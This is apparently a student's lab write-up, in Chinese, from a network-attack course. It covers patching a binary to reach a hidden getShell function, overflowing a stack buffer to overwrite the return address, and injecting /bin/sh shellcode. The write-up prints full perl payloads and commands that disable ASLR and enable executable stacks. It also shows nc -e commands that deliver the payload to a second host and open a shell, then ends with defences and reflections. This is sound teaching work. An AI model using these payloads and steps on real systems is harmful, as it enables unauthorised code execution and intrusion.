《网络对抗技术》Exp1 逆向破解实验

《网络对抗技术》Exp1 逆向破解实验

1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

 

    • 三个实践内容如下:
      • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
      • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
      • 注入一个自己制作的shellcode并运行这段shellcode。
    • 这几种思路,基本代表现实情况中的攻击目标:
      • 运行原本不可访问的代码片段
      • 强行修改程序执行流
      • 以及注入运行任意代码。

 

2 基础知识点

1.反汇编指令  objdump -d xxx | more 

 -d表示反汇编,xxx为可执行文件,|为管道符,more为分页指令

2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”

3.掌握反汇编与十六进制编程器 

反汇编指令

objdump -d filename

objdump(object dump) 项目导出

-d(disassemble) 反汇编

filename 反汇编的可执行文件

如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加| more,这样我们就可以利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)

十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:

  • 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
  • 输入:%!xxd将显示模式切换为16进制模式;
  • 进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。

 

3 直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 学习目标:理解可执行文件与机器指令

  • 进阶:掌握ELF文件格式,掌握动态技术

步骤一:可执行文件反汇编并计算

 objdump -d pwn1 | more 

"call 8048491 "是汇编指令

指令将调用位于地址8048491处的foo函数;

其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,e8即挑战,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29=8048491,就是foo的内存地址

main函数调用foo,对应机器指令为“ e8 d7ffffff”,

我们的目标是它调用getShell,将修改“d7ffffff”为,"getShell-80484ba"对应的补码。

用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。

步骤二:修改可执行文件

cp pwn1 pwn2    //复制pwn1得到pwn2
vim pwn2    //进入vim编辑pwn2

以下操作在vim中操作(此时为乱码)
1.按下ESC
2.输入:%!xxd,将显示模式切换为16进制模式
3.输入/d7  //查找需要修改的地方(如果搜e8 d7注意要有空格,否则会搜索不到)可以多查找几次,以防有重复字段,一般关键词前后十个字节一致,就是查找目标值
4.按下i,插入模式,将d7改为c3
5.按下ESC,输入:%!xxd -r  //转换16进制为原格式,这一步一定要做,否则在反编译时会提示格式错误
6.输入:wq,保存并退出
7.objdump -d pwn2 | more  //对比确认

 

反编译验证一下:

步骤三:运行一下pwn1和pwn2:

  • pwn1的功能是回显键盘输入;
  • pwn2的功能是实现shell。

 

以上编辑操作也可以在图形化的16进制编程器中完成。

apt-get install wxhexeditor    //安装wxhexedior
wxHexEditor  //注意大小写,否则会显示command not found

 

4 通过构造输入参数,造成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址
  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
  • 进阶:掌握ELF文件格式,掌握动态技术

 步骤一:反汇编,了解程序的基本功能

原理:foo函数有漏洞:foo函数中给输入的字符串预留了28个字节的空间

在正常执行的情况下,call调用foo,同时在堆栈上压上返回地址值:80484ba

我们利用缓冲区溢出覆盖返回地址,使得程序转向我们预期的getshell,运行getshell

该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞

08048491 <foo>:
 8048491:    55                       push   %ebp
 8048492:    89 e5                    mov    %esp,%ebp
 8048494:    83 ec 38                 sub    $0x38,%esp
 8048497:    8d 45 e4                 lea    -0x1c(%ebp),%eax
 804849a:    89 04 24                 mov    %eax,(%esp)


这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

 步骤二:确认输入字符串哪几个字符会覆盖到返回地址

gdb pwn1    //如果没有安装gdb,则输入命令apt install gdb

以下内容为进入gdb调试器
r     //r 表示运行(run)
输入测试    //不超过28个字节,则正常回显输出输入字符
                //超过28个字节,则覆盖EIP

info r    //info 表示显示,r为寄存器(register),寄存器检查

 

步骤三:覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,getshell函数的地址为: 0x0804847d

接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

gdb pwn1

//以下操作在gdb中
break *0x804849d
info break    //查看地址
r    //运行
info r    //查看eip寄存器地址

对比之前 ==eip 0x34333231 0x34333231== ,正确应用输入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。

 

步骤四:构造输入字符串

由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为 \x7d\x84\x04\x08 

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input    //由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
xxd input    //使用16进制查看指令xxd查看input文件的内容是否如预期
(cat input; cat) | ./pwn1    //将input的输入,通过管道符“|”,作为pwn1的输入

关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中

 

补充:理解函数调用和堆栈

 

5 注入Shellcode并执行

步骤一:准备一段Shellcode

  • shellcode就是一段机器指令(code)
    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
    • 所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

我们需要确定shellcode放哪,shellcode可能在EIP前或是EIP后,这取决于操作系统,此次实验放在EIP后面。

步骤二:安装execstack

execstack需要我们另外安装,在网络上的教程中,最终会出现 无法定位软件包 execstack 提示。

因此,我们使用老师给的压缩包prelink_0.0.20130503.orig.tar,步骤如下:

1 //把prelink_0.0.20130503.orig.tar放到kali虚拟机中
2 //在虚拟机中解压缩
3 //在解压缩文件中打开终端
4 sudo apt-get install libelf-dev
5 ./configure
6 make
7 sudo make install

步骤三:准备工作

堆栈可执行-->shellcode放在堆栈上,正常是不可执行的。

关闭地址随机化,目的:调试-->第1、2次调试中使用堆栈地址不变,一般堆栈随机化,防范多次调试。

关闭AL8R

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space

sudo -s    //否则权限不够
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,2为开启,0为关闭
more /proc/sys/kernel/randomize_va_space

步骤四:构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:
    • retaddr+nop+shellcode
    • nop+shellcode+retaddr。
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
  • 我们这个buf够放这个shellcode了
  • 结构为:nops+shellcode+retaddr。
    • nop一为是了填充,二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

失败案例(坑)

最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

没有回车符是为了让程序停在gets获取字符串的函数前,相当于输入了字符没有按回车键,否则程序执行了gets就直接运行puts函数,就直接运行完了,没有机会停留在进程中让我们打开调试

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

接下来我们来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf:

(cat input_shellcode;cat) | ./pwn1

再开另外一个终端,用gdb来调试pwn1这个进程。一定要另开一个终端!

建议打开root权限。

注意:查看esp寄存器,要根据自己的地址进行下面的操作!!!

 

ps -ef | grep pwn1    //找到pwn1的进程号是:5906,根据自己的结果进行调整pid号会变化
gdb    //打开gdb调试器

//以下在gdb中进行
attach 5906    //绑定进程
//通过设置断点,来查看注入buf的内存地址
disassemble foo
//断在这,这时注入的东西都大堆栈上了
//ret完,就跳到我们覆盖的retaddr那个地方了
break *0x080484ae
//在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。一定要在另一个终端!!!
c    //继续
info r esp    //查看esp寄存器,要根据自己的地址进行下面的操作!!!
x/16x 0xffffd5cc  //看到 01020304了,再往前找28字节
x/16x 0xffffd5b0  //看到0xc0319090了,再向前4个字节即可
x/16x 0xffffd5ac    //从这开始就是我们的Shellcode
c    //继续
//可以看到这个返回地址占位也是对的
q    //退出gdb

 向前4个字节,是eip占四个字节,而eip后面紧跟nops,nops的十六进制为0x909090

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

结果显然是失败了

 

查找失败原因:

//与上面步骤类似
//在一个终端中输入
(cat input_shellcode;cat) | ./pwn1
//在另一个终端中输入
ps -ef | grep pwn1
gdb
//以下在gdb中进行
attach 端口号    //与上一次不同
info r    //查看寄存器
x/16x 0xffffd5b0    //对应地址,看起来buf没问题
si    //si是step instruction的简写,表示运行一条指令
//也跳转到我们的shellcode了,那我们就一步步执行看哪步错
//出错了

 

以下是正确操作:

结构为:anything+retaddr+nops+shellcode。

看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd5cc + 0x00000004 = 0xffffd5d0

每个人的情况不一样,因根据自己的情况修改命令。

perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 
//不同的电脑运行情况不同,根据实际情况修改命令,如下图红框所示
xxd input_shellcode
(cat input_shellcode;cat) | ./pwn1

结果:攻击成功!

 

注意:

以上实践是在非常简单的一个预设条件下完成的:

(1)关闭堆栈保护(gcc -fno-stack-protector

(2)关闭堆栈执行保护(execstack -s)

(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

(4)在x32环境下

(5)在Linux实践环境

 

步骤五:结合nc模拟远程攻击

 在同一台主机上做的实验;该实验最好在互相连通的两台Linux上做,将ip地址替换为主机1的IP即可。

下面为在一台主机上进行:

主机1,模拟一个有漏洞的网络服务:

nc -l 127.0.0.1 -p 28234  -e ./pwn1
//-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
//如果是两个虚拟机互联
ifconfig    //查看ip地址,将127.0.0.1替换

主机2,连接主机1并发送攻击载荷:

(cat input_shellcode; cat) | nc 127.0.0.1 28234
//两个虚拟机互联则使用主机1的ip地址替换127.0.0.1
//然后输入shell指令,例如ls

 

两台主机上进行:

 

//主机1可以通过ifconfig进行查询IP地址
//主机一
nc -l -p 28234  -e ./pwn1

//主机二
(cat input_shellcode; cat) | nc 192.168.11.151 28234
//其中192.168.11.151为主机

 

 遇到的问题:

在两台主机互联时,按照指令输入时,主机二一旦输入相应命令,主机一就会出现 invalid connection to [192.168.11.151] from (UNKNOWN) [192.168.11.153] 32974 ,在关闭虚拟机的防火墙后,仍存在这样的问题,关闭防火墙的命令为

sudo apt-get install ufw     //安装
ufw disable    //关闭防火墙

  后来尝试:参考老师和同学的建议,在主机一的命令中隐去主机一的ip地址,解决了问题。隐去IP地址,能够避免主机存在多个IP地址,发送存在限制的问题

 

6 Bof攻击防御技术

步骤一:从防止注入的角度

在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。

 

步骤二: 注入入了也不让运行

结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。

execstack -s pwn1    //把堆栈设置为可执行
execstack -q pwn1    //查询堆栈状态
//此时我们的攻击可以执行,如上实验

excstack -c pwn1   //把堆栈设置为不可执行
execstack -q pwn1    //查询堆栈状态
//此时我们的攻击不可执行了

//以下测试攻击
perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

 为不影响第三步结果,因此要再次 execstack -s pwn1 ,将堆栈设为可执行。

步骤三:增加shellcode的构造难度

shellcode中需要猜测==返回地址==的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

在前面的工作里面,我们把地址随机化关闭了,才达到了攻击成功的目的。

 /proc/sys/kernel/randomize_va_space 用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况

0 - 表示关闭进程地址空间随机化。

1 - 表示将mmap的基址,stack和vdso页面随机化。

2 - 表示在1的基础上增加栈(heap)的随机化。

echo "1" > /proc/sys/kernel/randomize_va_space    //将mmap的基址,stack和vdso页面随机化
echo "2" > /proc/sys/kernel/randomize_va_space    //在1的基础上增加栈(heap)的随机化。
more /proc/sys/kernel/randomize_va_space    //查看
(cat input_shellcode;cat) | ./pwn1    //尝试攻击

 

从管理的角度

加强编码质量。注意边界检测。使用最新的安全的库函数。

 

7 实验收获与感想

在整个实验过程中,我先学习视频,边学边做笔记,但是掌握程度不够,通过实际操作才能真正理解输入命令和命令里面数据的意义,也遇到了很多问题,比如在修改./pwn2时,忘记:%!xxd -r转回格式,导致无法运行,再通过vi中转回格式,仍会存在格式问题,只能在保存前进行格式转换,gdb没有安装,输入apt install gdb进行安装,也有遇到权限问题,通过sudo -s命令进入root模式,也在老师的指导下,安装了execstack,也在查看寄存器和地址的过程,理解缓冲区溢出的工作原理,函数的调用和堆栈的内存存储方式,将老师演示的存储图掌握。在我尝试两个主机中结合nc模拟远程攻击,遇到了问题 invalid connection to [192.168.11.151] from (UNKNOWN) [192.168.11.153] 32914 根据查询资料,两台主机测试ping指令都能ping通,没有连接问题,也在同一局域网下,猜测是虚拟机防火墙问题,经过尝试证实猜测错误,而后参考同学和老师建议,修改主机一中命令,隐去主机的IP地址,成功解决问题。在做实验时,我们需要更加谨慎,学习每个步骤和每个参数的含义。

 

8 什么是漏洞?漏洞有什么危害?

答:本次实验的漏洞是指在输入时,没有进行边界测试,导致输入溢出缓冲区,覆盖EIP,执行我们预期的代码。

而在课程的学习中,我们学习到的漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,存在技术缺陷或者程序问题,从而可以使攻击者能够在未授权的情况下访问或破坏系统,执行我们想要的程序。

危害:漏洞影响面逐步扩大,超高危漏洞比率大幅增加,漏洞修复率处于历史较低水平,威胁形势依然严峻。

1.程序的正常功能无法按照预期执行,对服务器的安全收到影响,执行任意系统命令,攻击者能直接控制目标服务器,危害的严重程度重大;

2.程序被非法控制和破坏,安装恶意软件,导致病毒传播;

3.可能会导致信息泄漏,身份信息没有隐私,重要信息泄露,造成损失,暴露服务器的信息,使攻击者能够通过泄露的信息入侵;

4.帐号密码泄漏,导致攻击者直接操作网站后台或数据库,操控一些可能有危害,邮件泄露会被垃圾邮件骚扰,被攻击者利用社会工程学手段获取更多信息,扩大危害。

posted @ 2021-03-08 21:37  regina1st  阅读(356)  评论(0编辑  收藏  举报